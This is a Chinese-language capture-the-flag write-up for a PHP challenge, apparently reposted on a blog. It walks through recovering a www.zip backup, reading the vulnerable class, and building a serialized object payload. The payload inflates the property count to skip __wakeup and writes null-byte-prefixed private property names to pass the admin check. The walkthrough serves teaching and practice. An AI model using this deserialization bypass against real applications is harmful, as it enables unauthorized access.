[極客大挑戰 2019]PHP 1
阿新 • • 發佈:2020-12-07
進入頁面,檢查原始碼之類的都沒資訊,提到了備份,用御劍掃描出www.zip,直接加在url後
下載之後解壓,然後得到一些以下檔案
第一反應開啟flag.php,結果沒東西,看index.php
包含class.php,用get傳遞一個select引數,再進行unserialize反序列化
檢視class
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; publicfunction __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>";echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
分析程式碼可知在執行destruct魔術方法的時候,如果使用者名稱為admin,密碼為100則可以輸出flag的值。
但是wakeup方法會導致username成為guest,因此需要通過序列化字串中物件的個數來繞過該方法。
payload:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
到了這一步,問題就來了,在反序列化的時候會首先執行__wakeup()
魔術方法,但是這個方法會把我們的username重新賦值,所以我們要考慮的就是怎麼跳過__wakeup()
,而去執行__destruct
繞過__wakeup()
在反序列化字串時,屬性個數的值大於實際屬性個數時,會跳過 __wakeup()函式的執行
因此我們將序列化這樣設定
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
不過還是沒有結束,因為這個宣告變數是private
private
private 宣告的欄位為私有欄位,只在所宣告的類中可見,在該類的子類和該類的物件例項中均不可見。因此私有欄位的欄位名在序列化時,類名和欄位名前面都會加上0的字首。字串長度也包括所加字首的長度
我們再次改造一下序列化
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最後,通過get請求傳遞select引數過去
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}